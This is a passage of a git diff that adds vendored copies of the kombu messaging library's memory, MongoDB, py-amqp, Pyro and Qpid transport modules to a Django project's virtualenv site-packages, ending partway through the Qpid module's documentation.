base.Transport.implements + + driver_type = 'memory' + driver_name = 'memory' + + def __init__(self, client, **kwargs): + super().__init__(client, **kwargs) + self.state = self.global_state + + def driver_version(self): + return 'N/A' diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/mongodb.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/mongodb.py new file mode 100644 index 00000000..db758c18 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/mongodb.py @@ -0,0 +1,494 @@ +# copyright: (c) 2010 - 2013 by Flavio Percoco Premoli. +# license: BSD, see LICENSE for more details. + +"""MongoDB transport module for kombu. + +Features +======== +* Type: Virtual +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: Yes +* Supports Priority: Yes +* Supports TTL: Yes + +Connection String +================= + *Unreviewed* + +Transport Options +================= + +* ``connect_timeout``, +* ``ssl``, +* ``ttl``, +* ``capped_queue_size``, +* ``default_hostname``, +* ``default_port``, +* ``default_database``, +* ``messages_collection``, +* ``routing_collection``, +* ``broadcast_collection``, +* ``queues_collection``, +* ``calc_queue_size``, +""" + +import datetime +from queue import Empty + +import pymongo +from pymongo import MongoClient, errors, uri_parser +from pymongo.cursor import CursorType + +from kombu.exceptions import VersionMismatch +from kombu.utils.compat import _detect_environment +from kombu.utils.encoding import bytes_to_str +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property + +from . import virtual +from .base import to_rabbitmq_queue_arguments + +E_SERVER_VERSION = """\ +Kombu requires MongoDB version 1.3+ (server is {0})\ +""" + +E_NO_TTL_INDEXES = """\ +Kombu requires MongoDB version 2.2+ (server is {0}) for TTL indexes support\ +""" + + +class BroadcastCursor: + """Cursor for broadcast queues.""" + + def __init__(self, cursor): + self._cursor = cursor + + self.purge(rewind=False) + + def get_size(self): + return self._cursor.count() - self._offset + + def close(self): + self._cursor.close() + + def purge(self, rewind=True): + if rewind: + self._cursor.rewind() + + # Fast forward the cursor past old events + self._offset = self._cursor.count() + self._cursor = self._cursor.skip(self._offset) + + def __iter__(self): + return self + + def __next__(self): + while True: + try: + msg = next(self._cursor) + except pymongo.errors.OperationFailure as exc: + # In some cases tailed cursor can become invalid + # and have to be reinitalized + if 'not valid at server' in str(exc): + self.purge() + + continue + + raise + else: + break + + self._offset += 1 + + return msg + next = __next__ + + +class Channel(virtual.Channel): + """MongoDB Channel.""" + + supports_fanout = True + + # Mutable container. Shared by all class instances + _fanout_queues = {} + + # Options + ssl = False + ttl = False + connect_timeout = None + capped_queue_size = 100000 + calc_queue_size = True + + default_hostname = '127.0.0.1' + default_port = 27017 + default_database = 'kombu_default' + + messages_collection = 'messages' + routing_collection = 'messages.routing' + broadcast_collection = 'messages.broadcast' + queues_collection = 'messages.queues' + + from_transport_options = (virtual.Channel.from_transport_options + ( + 'connect_timeout', 'ssl', 'ttl', 'capped_queue_size', + 'default_hostname', 'default_port', 'default_database', + 'messages_collection', 'routing_collection', + 'broadcast_collection', 'queues_collection', + 'calc_queue_size', + )) + + def __init__(self, *vargs, **kwargs): + super().__init__(*vargs, **kwargs) + + self._broadcast_cursors = {} + + # Evaluate connection + self.client + + # AbstractChannel/Channel interface implementation + + def _new_queue(self, queue, **kwargs): + if self.ttl: + self.queues.update( + {'_id': queue}, + {'_id': queue, + 'options': kwargs, + 'expire_at': self._get_expire(kwargs, 'x-expires')}, + upsert=True) + + def _get(self, queue): + if queue in self._fanout_queues: + try: + msg = next(self._get_broadcast_cursor(queue)) + except StopIteration: + msg = None + else: + msg = self.messages.find_and_modify( + query={'queue': queue}, + sort=[('priority', pymongo.ASCENDING)], + remove=True, + ) + + if self.ttl: + self._update_queues_expire(queue) + + if msg is None: + raise Empty() + + return loads(bytes_to_str(msg['payload'])) + + def _size(self, queue): + # Do not calculate actual queue size if requested + # for performance considerations + if not self.calc_queue_size: + return super()._size(queue) + + if queue in self._fanout_queues: + return self._get_broadcast_cursor(queue).get_size() + + return self.messages.find({'queue': queue}).count() + + def _put(self, queue, message, **kwargs): + data = { + 'payload': dumps(message), + 'queue': queue, + 'priority': self._get_message_priority(message, reverse=True) + } + + if self.ttl: + data['expire_at'] = self._get_expire(queue, 'x-message-ttl') + + self.messages.insert(data) + + def _put_fanout(self, exchange, message, routing_key, **kwargs): + self.broadcast.insert({'payload': dumps(message), + 'queue': exchange}) + + def _purge(self, queue): + size = self._size(queue) + + if queue in self._fanout_queues: + self._get_broadcast_cursor(queue).purge() + else: + self.messages.remove({'queue': queue}) + + return size + + def get_table(self, exchange): + localRoutes = frozenset(self.state.exchanges[exchange]['table']) + brokerRoutes = self.routing.find( + {'exchange': exchange} + ) + + return localRoutes | frozenset( + (r['routing_key'], r['pattern'], r['queue']) + for r in brokerRoutes + ) + + def _queue_bind(self, exchange, routing_key, pattern, queue): + if self.typeof(exchange).type == 'fanout': + self._create_broadcast_cursor( + exchange, routing_key, pattern, queue) + self._fanout_queues[queue] = exchange + + lookup = { + 'exchange': exchange, + 'queue': queue, + 'routing_key': routing_key, + 'pattern': pattern, + } + + data = lookup.copy() + + if self.ttl: + data['expire_at'] = self._get_expire(queue, 'x-expires') + + self.routing.update(lookup, data, upsert=True) + + def queue_delete(self, queue, **kwargs): + self.routing.remove({'queue': queue}) + + if self.ttl: + self.queues.remove({'_id': queue}) + + super().queue_delete(queue, **kwargs) + + if queue in self._fanout_queues: + try: + cursor = self._broadcast_cursors.pop(queue) + except KeyError: + pass + else: + cursor.close() + + self._fanout_queues.pop(queue) + + # Implementation details + + def _parse_uri(self, scheme='mongodb://'): + # See mongodb uri documentation: + # https://docs.mongodb.org/manual/reference/connection-string/ + client = self.connection.client + hostname = client.hostname + + if not hostname.startswith(scheme): + hostname = scheme + hostname + + if not hostname[len(scheme):]: + hostname += self.default_hostname + + if client.userid and '@' not in hostname: + head, tail = hostname.split('://') + + credentials = client.userid + if client.password: + credentials += ':' + client.password + + hostname = head + '://' + credentials + '@' + tail + + port = client.port if client.port else self.default_port + + parsed = uri_parser.parse_uri(hostname, port) + + dbname = parsed['database'] or client.virtual_host + + if dbname in ('/', None): + dbname = self.default_database + + options = { + 'auto_start_request': True, + 'ssl': self.ssl, + 'connectTimeoutMS': (int(self.connect_timeout * 1000) + if self.connect_timeout else None), + } + options.update(parsed['options']) + options = self._prepare_client_options(options) + + return hostname, dbname, options + + def _prepare_client_options(self, options): + if pymongo.version_tuple >= (3,): + options.pop('auto_start_request', None) + if isinstance(options.get('readpreference'), int): + modes = pymongo.read_preferences._MONGOS_MODES + options['readpreference'] = modes[options['readpreference']] + return options + + def prepare_queue_arguments(self, arguments, **kwargs): + return to_rabbitmq_queue_arguments(arguments, **kwargs) + + def _open(self, scheme='mongodb://'): + hostname, dbname, conf = self._parse_uri(scheme=scheme) + + conf['host'] = hostname + + env = _detect_environment() + if env == 'gevent': + from gevent import monkey + monkey.patch_all() + elif env == 'eventlet': + from eventlet import monkey_patch + monkey_patch() + + mongoconn = MongoClient(**conf) + database = mongoconn[dbname] + + version_str = mongoconn.server_info()['version'] + version_str = version_str.split('-')[0] + version = tuple(map(int, version_str.split('.'))) + + if version < (1, 3): + raise VersionMismatch(E_SERVER_VERSION.format(version_str)) + elif self.ttl and version < (2, 2): + raise VersionMismatch(E_NO_TTL_INDEXES.format(version_str)) + + return database + + def _create_broadcast(self, database): + """Create capped collection for broadcast messages.""" + if self.broadcast_collection in database.collection_names(): + return + + database.create_collection(self.broadcast_collection, + size=self.capped_queue_size, + capped=True) + + def _ensure_indexes(self, database): + """Ensure indexes on collections.""" + messages = database[self.messages_collection] + messages.ensure_index( + [('queue', 1), ('priority', 1), ('_id', 1)], background=True, + ) + + database[self.broadcast_collection].ensure_index([('queue', 1)]) + + routing = database[self.routing_collection] + routing.ensure_index([('queue', 1), ('exchange', 1)]) + + if self.ttl: + messages.ensure_index([('expire_at', 1)], expireAfterSeconds=0) + routing.ensure_index([('expire_at', 1)], expireAfterSeconds=0) + + database[self.queues_collection].ensure_index( + [('expire_at', 1)], expireAfterSeconds=0) + + def _create_client(self): + """Actually creates connection.""" + database = self._open() + self._create_broadcast(database) + self._ensure_indexes(database) + + return database + + @cached_property + def client(self): + return self._create_client() + + @cached_property + def messages(self): + return self.client[self.messages_collection] + + @cached_property + def routing(self): + return self.client[self.routing_collection] + + @cached_property + def broadcast(self): + return self.client[self.broadcast_collection] + + @cached_property + def queues(self): + return self.client[self.queues_collection] + + def _get_broadcast_cursor(self, queue): + try: + return self._broadcast_cursors[queue] + except KeyError: + # Cursor may be absent when Channel created more than once. + # _fanout_queues is a class-level mutable attribute so it's + # shared over all Channel instances. + return self._create_broadcast_cursor( + self._fanout_queues[queue], None, None, queue, + ) + + def _create_broadcast_cursor(self, exchange, routing_key, pattern, queue): + if pymongo.version_tuple >= (3, ): + query = { + 'filter': {'queue': exchange}, + 'cursor_type': CursorType.TAILABLE, + } + else: + query = { + 'query': {'queue': exchange}, + 'tailable': True, + } + + cursor = self.broadcast.find(**query) + ret = self._broadcast_cursors[queue] = BroadcastCursor(cursor) + return ret + + def _get_expire(self, queue, argument): + """Get expiration header named `argument` of queue definition. + + Note: + `queue` must be either queue name or options itself. + """ + if isinstance(queue, str): + doc = self.queues.find_one({'_id': queue}) + + if not doc: + return + + data = doc['options'] + else: + data = queue + + try: + value = data['arguments'][argument] + except (KeyError, TypeError): + return + + return self.get_now() + datetime.timedelta(milliseconds=value) + + def _update_queues_expire(self, queue): + """Update expiration field on queues documents.""" + expire_at = self._get_expire(queue, 'x-expires') + + if not expire_at: + return + + self.routing.update( + {'queue': queue}, {'$set': {'expire_at': expire_at}}, multi=True) + self.queues.update( + {'_id': queue}, {'$set': {'expire_at': expire_at}}, multi=True) + + def get_now(self): + """Return current time in UTC.""" + return datetime.datetime.utcnow() + + +class Transport(virtual.Transport): + """MongoDB Transport.""" + + Channel = Channel + + can_parse_url = True + polling_interval = 1 + default_port = Channel.default_port + connection_errors = ( + virtual.Transport.connection_errors + (errors.ConnectionFailure,) + ) + channel_errors = ( + virtual.Transport.channel_errors + ( + errors.ConnectionFailure, + errors.OperationFailure) + ) + driver_type = 'mongodb' + driver_name = 'pymongo' + + implements = virtual.Transport.implements.extend( + exchange_type=frozenset(['direct', 'topic', 'fanout']), + ) + + def driver_version(self): + return pymongo.version diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/pyamqp.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/pyamqp.py new file mode 100644 index 00000000..f230f911 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/pyamqp.py @@ -0,0 +1,251 @@ +"""pyamqp transport module for Kombu. + +Pure-Python amqp transport using py-amqp library. + +Features +======== +* Type: Native +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: Yes +* Supports Priority: Yes +* Supports TTL: Yes + +Connection String +================= +Connection string can have the following formats: + +.. code-block:: + + amqp://[USER:PASSWORD@]BROKER_ADDRESS[:PORT][/VIRTUALHOST] + [USER:PASSWORD@]BROKER_ADDRESS[:PORT][/VIRTUALHOST] + amqp:// + +For TLS encryption use: + +.. code-block:: + + amqps://[USER:PASSWORD@]BROKER_ADDRESS[:PORT][/VIRTUALHOST] + +Transport Options +================= +Transport Options are passed to constructor of underlying py-amqp +:class:`~kombu.connection.Connection` class. + +Using TLS +========= +Transport over TLS can be enabled by ``ssl`` parameter of +:class:`~kombu.Connection` class. By setting ``ssl=True``, TLS transport is +used:: + + conn = Connect('amqp://', ssl=True) + +This is equivalent to ``amqps://`` transport URI:: + + conn = Connect('amqps://') + +For adding additional parameters to underlying TLS, ``ssl`` parameter should +be set with dict instead of True:: + + conn = Connect('amqp://broker.example.com', ssl={ + 'keyfile': '/path/to/keyfile' + 'certfile': '/path/to/certfile', + 'ca_certs': '/path/to/ca_certfile' + } + ) + +All parameters are passed to ``ssl`` parameter of +:class:`amqp.connection.Connection` class. + +SSL option ``server_hostname`` can be set to ``None`` which is causing using +hostname from broker URL. This is usefull when failover is used to fill +``server_hostname`` with currently used broker:: + + conn = Connect('amqp://broker1.example.com;broker2.example.com', ssl={ + 'server_hostname': None + } + ) +""" + + +import amqp + +from kombu.utils.amq_manager import get_manager +from kombu.utils.text import version_string_as_tuple + +from . import base +from .base import to_rabbitmq_queue_arguments + +DEFAULT_PORT = 5672 +DEFAULT_SSL_PORT = 5671 + + +class Message(base.Message): + """AMQP Message.""" + + def __init__(self, msg, channel=None, **kwargs): + props = msg.properties + super().__init__( + body=msg.body, + channel=channel, + delivery_tag=msg.delivery_tag, + content_type=props.get('content_type'), + content_encoding=props.get('content_encoding'), + delivery_info=msg.delivery_info, + properties=msg.properties, + headers=props.get('application_headers') or {}, + **kwargs) + + +class Channel(amqp.Channel, base.StdChannel): + """AMQP Channel.""" + + Message = Message + + def prepare_message(self, body, priority=None, + content_type=None, content_encoding=None, + headers=None, properties=None, _Message=amqp.Message): + """Prepare message so that it can be sent using this transport.""" + return _Message( + body, + priority=priority, + content_type=content_type, + content_encoding=content_encoding, + application_headers=headers, + **properties or {} + ) + + def prepare_queue_arguments(self, arguments, **kwargs): + return to_rabbitmq_queue_arguments(arguments, **kwargs) + + def message_to_python(self, raw_message): + """Convert encoded message body back to a Python value.""" + return self.Message(raw_message, channel=self) + + +class Connection(amqp.Connection): + """AMQP Connection.""" + + Channel = Channel + + +class Transport(base.Transport): + """AMQP Transport.""" + + Connection = Connection + + default_port = DEFAULT_PORT + default_ssl_port = DEFAULT_SSL_PORT + + # it's very annoying that pyamqp sometimes raises AttributeError + # if the connection is lost, but nothing we can do about that here. + connection_errors = amqp.Connection.connection_errors + channel_errors = amqp.Connection.channel_errors + recoverable_connection_errors = \ + amqp.Connection.recoverable_connection_errors + recoverable_channel_errors = amqp.Connection.recoverable_channel_errors + + driver_name = 'py-amqp' + driver_type = 'amqp' + + implements = base.Transport.implements.extend( + asynchronous=True, + heartbeats=True, + ) + + def __init__(self, client, + default_port=None, default_ssl_port=None, **kwargs): + self.client = client + self.default_port = default_port or self.default_port + self.default_ssl_port = default_ssl_port or self.default_ssl_port + + def driver_version(self): + return amqp.__version__ + + def create_channel(self, connection): + return connection.channel() + + def drain_events(self, connection, **kwargs): + return connection.drain_events(**kwargs) + + def _collect(self, connection): + if connection is not None: + connection.collect() + + def establish_connection(self): + """Establish connection to the AMQP broker.""" + conninfo = self.client + for name, default_value in self.default_connection_params.items(): + if not getattr(conninfo, name, None): + setattr(conninfo, name, default_value) + if conninfo.hostname == 'localhost': + conninfo.hostname = '127.0.0.1' + # when server_hostname is None, use hostname from URI. + if isinstance(conninfo.ssl, dict) and \ + 'server_hostname' in conninfo.ssl and \ + conninfo.ssl['server_hostname'] is None: + conninfo.ssl['server_hostname'] = conninfo.hostname + opts = dict({ + 'host': conninfo.host, + 'userid': conninfo.userid, + 'password': conninfo.password, + 'login_method': conninfo.login_method, + 'virtual_host': conninfo.virtual_host, + 'insist': conninfo.insist, + 'ssl': conninfo.ssl, + 'connect_timeout': conninfo.connect_timeout, + 'heartbeat': conninfo.heartbeat, + }, **conninfo.transport_options or {}) + conn = self.Connection(**opts) + conn.client = self.client + conn.connect() + return conn + + def verify_connection(self, connection): + return connection.connected + + def close_connection(self, connection): + """Close the AMQP broker connection.""" + connection.client = None + connection.close() + + def get_heartbeat_interval(self, connection): + return connection.heartbeat + + def register_with_event_loop(self, connection, loop): + connection.transport.raise_on_initial_eintr = True + loop.add_reader(connection.sock, self.on_readable, connection, loop) + + def heartbeat_check(self, connection, rate=2): + return connection.heartbeat_tick(rate=rate) + + def qos_semantics_matches_spec(self, connection): + props = connection.server_properties + if props.get('product') == 'RabbitMQ': + return version_string_as_tuple(props['version']) < (3, 3) + return True + + @property + def default_connection_params(self): + return { + 'userid': 'guest', + 'password': 'guest', + 'port': (self.default_ssl_port if self.client.ssl + else self.default_port), + 'hostname': 'localhost', + 'login_method': 'PLAIN', + } + + def get_manager(self, *args, **kwargs): + return get_manager(self.client, *args, **kwargs) + + +class SSLTransport(Transport): + """AMQP SSL Transport.""" + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + # ugh, not exactly pure, but hey, it's python. + if not self.client.ssl: # not dict or False + self.client.ssl = True diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/pyro.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/pyro.py new file mode 100644 index 00000000..833d9792 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/pyro.py @@ -0,0 +1,210 @@ +"""Pyro transport module for kombu. + +Pyro transport, and Kombu Broker daemon. + +Requires the :mod:`Pyro4` library to be installed. + +Features +======== +* Type: Virtual +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: No +* Supports Priority: No +* Supports TTL: No + +Connection String +================= + +To use the Pyro transport with Kombu, use an url of the form: + +.. code-block:: + + pyro://localhost/kombu.broker + +The hostname is where the transport will be looking for a Pyro name server, +which is used in turn to locate the kombu.broker Pyro service. +This broker can be launched by simply executing this transport module directly, +with the command: ``python -m kombu.transport.pyro`` + +Transport Options +================= +""" + + +import sys +from queue import Empty, Queue + +from kombu.exceptions import reraise +from kombu.log import get_logger +from kombu.utils.objects import cached_property + +from . import virtual + +try: + import Pyro4 as pyro + from Pyro4.errors import NamingError + from Pyro4.util import SerializerBase +except ImportError: # pragma: no cover + pyro = NamingError = SerializerBase = None + +DEFAULT_PORT = 9090 +E_NAMESERVER = """\ +Unable to locate pyro nameserver on host {0.hostname}\ +""" +E_LOOKUP = """\ +Unable to lookup '{0.virtual_host}' in pyro nameserver on host {0.hostname}\ +""" + +logger = get_logger(__name__) + + +class Channel(virtual.Channel): + """Pyro Channel.""" + + def close(self): + super().close() + if self.shared_queues: + self.shared_queues._pyroRelease() + + def queues(self): + return self.shared_queues.get_queue_names() + + def _new_queue(self, queue, **kwargs): + if queue not in self.queues(): + self.shared_queues.new_queue(queue) + + def _has_queue(self, queue, **kwargs): + return self.shared_queues.has_queue(queue) + + def _get(self, queue, timeout=None): + queue = self._queue_for(queue) + return self.shared_queues.get(queue) + + def _queue_for(self, queue): + if queue not in self.queues(): + self.shared_queues.new_queue(queue) + return queue + + def _put(self, queue, message, **kwargs): + queue = self._queue_for(queue) + self.shared_queues.put(queue, message) + + def _size(self, queue): + return self.shared_queues.size(queue) + + def _delete(self, queue, *args, **kwargs): + self.shared_queues.delete(queue) + + def _purge(self, queue): + return self.shared_queues.purge(queue) + + def after_reply_message_received(self, queue): + pass + + @cached_property + def shared_queues(self): + return self.connection.shared_queues + + +class Transport(virtual.Transport): + """Pyro Transport.""" + + Channel = Channel + + #: memory backend state is global. + # TODO: To be checked whether state can be per-Transport + global_state = virtual.BrokerState() + + default_port = DEFAULT_PORT + + driver_type = driver_name = 'pyro' + + def __init__(self, client, **kwargs): + super().__init__(client, **kwargs) + self.state = self.global_state + + def _open(self): + logger.debug("trying Pyro nameserver to find the broker daemon") + conninfo = self.client + try: + nameserver = pyro.locateNS(host=conninfo.hostname, + port=self.default_port) + except NamingError: + reraise(NamingError, NamingError(E_NAMESERVER.format(conninfo)), + sys.exc_info()[2]) + try: + # name of registered pyro object + uri = nameserver.lookup(conninfo.virtual_host) + return pyro.Proxy(uri) + except NamingError: + reraise(NamingError, NamingError(E_LOOKUP.format(conninfo)), + sys.exc_info()[2]) + + def driver_version(self): + return pyro.__version__ + + @cached_property + def shared_queues(self): + return self._open() + + +if pyro is not None: + SerializerBase.register_dict_to_class("queue.Empty", + lambda cls, data: Empty()) + + @pyro.expose + @pyro.behavior(instance_mode="single") + class KombuBroker: + """Kombu Broker used by the Pyro transport. + + You have to run this as a separate (Pyro) service. + """ + + def __init__(self): + self.queues = {} + + def get_queue_names(self): + return list(self.queues) + + def new_queue(self, queue): + if queue in self.queues: + return # silently ignore the fact that queue already exists + self.queues[queue] = Queue() + + def has_queue(self, queue): + return queue in self.queues + + def get(self, queue): + return self.queues[queue].get(block=False) + + def put(self, queue, message): + self.queues[queue].put(message) + + def size(self, queue): + return self.queues[queue].qsize() + + def delete(self, queue): + del self.queues[queue] + + def purge(self, queue): + while True: + try: + self.queues[queue].get(blocking=False) + except Empty: + break + + +# launch a Kombu Broker daemon with the command: +# ``python -m kombu.transport.pyro`` +if __name__ == "__main__": + print("Launching Broker for Kombu's Pyro transport.") + with pyro.Daemon() as daemon: + print("(Expecting a Pyro name server at {}:{})" + .format(pyro.config.NS_HOST, pyro.config.NS_PORT)) + with pyro.locateNS() as ns: + print("You can connect with Kombu using the url " + "'pyro://{}/kombu.broker'".format(pyro.config.NS_HOST)) + uri = daemon.register(KombuBroker) + ns.register("kombu.broker", uri) + daemon.requestLoop() diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/qpid.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/qpid.py new file mode 100644 index 00000000..2b2d1b18 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/qpid.py @@ -0,0 +1,1746 @@ +"""Qpid Transport module for kombu. + +`Qpid`_ transport using `qpid-python`_ as the client and `qpid-tools`_ for +broker management. + +The use this transport you must install the necessary dependencies. These +dependencies are available via PyPI and can be installed using the pip +command: + +.. code-block:: console + + $ pip install kombu[qpid] + +or to install the requirements manually: + +.. code-block:: console + + $ pip install qpid-tools qpid-python + +.. admonition:: Python 3 and PyPy Limitations + + The Qpid transport does not support Python 3 or PyPy environments due + to underlying dependencies not being compatible. This version is + tested and works with with Python 2.7. + +.. _`Qpid`: https://qpid.apache.org/ +.. _`qpid-python`: https://pypi.org/project/qpid-python/ +.. _`qpid-tools`: https://pypi.org/project/qpid-tools/ + +Features +======== +* Type: Native +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: Yes +* Supports Priority: Yes +* Supports TTL: Yes + +Authentication +============== + +This transport supports SASL authentication with the Qpid broker. Normally, +SASL mechanisms are negotiated from a client list and a server list of +possible mechanisms, but in practice, different SASL client libraries give +different behaviors. These different behaviors cause the expected SASL +mechanism to not be selected in many cases. As such, this transport restricts +the mechanism types based on Kombu's configuration according to the following +table. + ++------------------------------------+--------------------+ +| **Broker String** | **SASL Mechanism** | ++------------------------------------+--------------------+ +| qpid://hostname/ | ANONYMOUS | ++------------------------------------+--------------------+ +| qpid://username:password@hostname/ | PLAIN | ++------------------------------------+--------------------+ +| see instructions below | EXTERNAL | ++------------------------------------+--------------------+ + +The user can override the above SASL selection behaviors and specify the SASL +string using the :attr:`~kombu.Connection.login_method` argument to the +:class:`~kombu.Connection` object. The string can be a single SASL mechanism +or a space separated list of SASL mechanisms. If you are using Celery with +Kombu, this can be accomplished by setting the *BROKER_LOGIN_METHOD* Celery +option. + +.. note:: + + While using SSL, Qpid users may want to override the SASL mechanism to + use *EXTERNAL*. In that case, Qpid requires a username to be presented + that matches the *CN* of the SSL client certificate. Ensure that the + broker string contains the corresponding username. For example, if the + client certificate has *CN=asdf* and the client connects to *example.com* + on port 5671, the broker string should be: + + **qpid://asdf@example.com:5671/** + +Transport Options +================= + +The :attr:`~kombu.Connection.transport_options` argument to the +:class:`~kombu.Connection` object are passed directly to the +:class:`qpid.messaging.endpoints.Connection` as keyword arguments. These +options override and replace any other default or specified values. If using +Celery, this can be accomplished by setting the +*BROKER_TRANSPORT_OPTIONS* Celery option. +""" + +import os +import select +import socket +import ssl +import sys +import uuid +from gettext import gettext as _ +from queue import Empty +from time import monotonic + +import amqp.protocol + +try: + import fcntl +except ImportError: + fcntl = None + +try: + import qpidtoollibs +except ImportError: # pragma: no cover + qpidtoollibs = None + +try: + from qpid.messaging.exceptions import ConnectionError + from qpid.messaging.exceptions import Empty as QpidEmpty + from qpid.messaging.exceptions import NotFound, SessionClosed +except ImportError: # pragma: no cover + ConnectionError = None + NotFound = None + QpidEmpty = None + SessionClosed = None + +try: + import qpid +except ImportError: # pragma: no cover + qpid = None + +from kombu.log import get_logger +from kombu.transport import base, virtual +from kombu.transport.virtual import Base64, Message + +logger = get_logger(__name__) + +try: + buffer +except NameError: + buffer = bytes + +OBJECT_ALREADY_EXISTS_STRING = 'object already exists' + +VERSION = (1, 0, 0) +__version__ = '.'.join(map(str, VERSION)) + + +def dependency_is_none(dependency): + """Return True if the dependency is None, otherwise False. + + This is done using a function so that tests can mock this + behavior easily. + + :param dependency: The module to check if it is None + :return: True if dependency is None otherwise False. + + """ + return dependency is None + + +class AuthenticationFailure(Exception): + """Cannot authenticate with Qpid.""" + + +class QoS: + """A helper object for message prefetch and ACKing purposes. + + :keyword prefetch_count: Initial prefetch count, hard set to 1. + :type prefetch_count: int + + + NOTE: prefetch_count is currently hard set to 1, and needs to be improved + + This object is instantiated 1-for-1 with a + :class:`~.kombu.transport.qpid.Channel` instance. QoS allows + ``prefetch_count`` to be set to the number of outstanding messages + the corresponding :class:`~kombu.transport.qpid.Channel` should be + allowed to prefetch. Setting ``prefetch_count`` to 0 disables + prefetch limits, and the object can hold an arbitrary number of messages. + + Messages are added using :meth:`append`, which are held until they are + ACKed asynchronously through a call to :meth:`ack`. Messages that are + received, but not ACKed will not be delivered by the broker to another + consumer until an ACK is received, or the session is closed. Messages + are referred to using delivery_tag, which are unique per + :class:`Channel`. Delivery tags are managed outside of this object and + are passed in with a message to :meth:`append`. Un-ACKed messages can + be looked up from QoS using :meth:`get` and can be rejected and + forgotten using :meth:`reject`. + + """ + + def __init__(self, session, prefetch_count=1): + self.session = session + self.prefetch_count = 1 + self._not_yet_acked = {} + + def can_consume(self): + """Return True if the :class:`Channel` can consume more messages. + + Used to ensure the client adheres to currently active prefetch + limits. + + :returns: True, if this QoS object can accept more messages + without violating the prefetch_count. If prefetch_count is 0, + can_consume will always return True. + :rtype: bool + + """ + return ( + not self.prefetch_count or + len(self._not_yet_acked) < self.prefetch_count + ) + + def can_consume_max_estimate(self): + """Return the remaining message capacity. + + Returns an estimated number of outstanding messages that a + :class:`kombu.transport.qpid.Channel` can accept without + exceeding ``prefetch_count``. If ``prefetch_count`` is 0, then + this method returns 1. + + :returns: The number of estimated messages that can be fetched + without violating the prefetch_count. + :rtype: int + + """ + return 1 if not self.prefetch_count else ( + self.prefetch_count - len(self._not_yet_acked) + ) + + def append(self, message, delivery_tag): + """Append message to the list of un-ACKed messages. + + Add a message, referenced by the delivery_tag, for ACKing, + rejecting, or getting later. Messages are saved into a + dict by delivery_tag. + + :param message: A received message that has not yet been ACKed. + :type message: qpid.messaging.Message + :param delivery_tag: A UUID to refer to this message by + upon receipt. + :type delivery_tag: uuid.UUID + + """ + self._not_yet_acked[delivery_tag] = message + + def get(self, delivery_tag): + """Get an un-ACKed message by delivery_tag. + + If called with an invalid delivery_tag a :exc:`KeyError` is raised. + + :param delivery_tag: The delivery tag associated with the message + to be returned. + :type delivery_tag: uuid.UUID + + :return: An un-ACKed message that is looked up by delivery_tag. + :rtype: qpid.messaging.Message + + """ + return self._not_yet_acked[delivery_tag] + + def ack(self, delivery_tag): + """Acknowledge a message by delivery_tag. + + Called asynchronously once the message has been handled and can be + forgotten by the broker. + + :param delivery_tag: the delivery tag associated with the message + to be acknowledged. + :type delivery_tag: uuid.UUID + + """ + message = self._not_yet_acked.pop(delivery_tag) + self.session.acknowledge(message=message) + + def reject(self, delivery_tag, requeue=False): + """Reject a message by delivery_tag. + + Explicitly notify the broker that the channel associated + with this QoS object is rejecting the message that was previously + delivered. + + If requeue is False, then the message is not requeued for delivery + to another consumer. If requeue is True, then the message is + requeued for delivery to another consumer. + + :param delivery_tag: The delivery tag associated with the message + to be rejected. + :type delivery_tag: uuid.UUID + :keyword requeue: If True, the broker will be notified to requeue + the message. If False, the broker will be told to drop the + message entirely. In both cases, the message will be removed + from this object. + :type requeue: bool + + """ + message = self._not_yet_acked.pop(delivery_tag) + QpidDisposition = qpid.messaging.Disposition + if requeue: + disposition = QpidDisposition(qpid.messaging.RELEASED) + else: + disposition = QpidDisposition(qpid.messaging.REJECTED) + self.session.acknowledge(message=message, disposition=disposition) + + +class Channel(base.StdChannel): + """Supports broker configuration and messaging send and receive. + + :param connection: A Connection object that this Channel can + reference. Currently only used to access callbacks. + :type connection: kombu.transport.qpid.Connection + :param transport: The Transport this Channel is associated with. + :type transport: kombu.transport.qpid.Transport + + A channel object is designed to have method-parity with a Channel as + defined in AMQP 0-10 and earlier, which allows for the following broker + actions: + + - exchange declare and delete + - queue declare and delete + - queue bind and unbind operations + - queue length and purge operations + - sending/receiving/rejecting messages + - structuring, encoding, and decoding messages + - supports synchronous and asynchronous reads + - reading state about the exchange, queues, and bindings + + Channels are designed to all share a single TCP connection with a + broker, but provide a level of isolated communication with the broker + while benefiting from a shared TCP connection. The Channel is given + its :class:`~kombu.transport.qpid.Connection` object by the + :class:`~kombu.transport.qpid.Transport` that + instantiates the channel. + + This channel inherits from :class:`~kombu.transport.base.StdChannel`, + which makes this a 'native' channel versus a 'virtual' channel which + would inherit from :class:`kombu.transports.virtual`. + + Messages sent using this channel are assigned a delivery_tag. The + delivery_tag is generated for a message as they are prepared for + sending by :meth:`basic_publish`. The delivery_tag is unique per + channel instance. The delivery_tag has no meaningful context in other + objects, and is only maintained in the memory of this object, and the + underlying :class:`QoS` object that provides support. + + Each channel object instantiates exactly one :class:`QoS` object for + prefetch limiting, and asynchronous ACKing. The :class:`QoS` object is + lazily instantiated through a property method :meth:`qos`. The + :class:`QoS` object is a supporting object that should not be accessed + directly except by the channel itself. + + Synchronous reads on a queue are done using a call to :meth:`basic_get` + which uses :meth:`_get` to perform the reading. These methods read + immediately and do not accept any form of timeout. :meth:`basic_get` + reads synchronously and ACKs messages before returning them. ACKing is + done in all cases, because an application that reads messages using + qpid.messaging, but does not ACK them will experience a memory leak. + The no_ack argument to :meth:`basic_get` does not affect ACKing + functionality. + + Asynchronous reads on a queue are done by starting a consumer using + 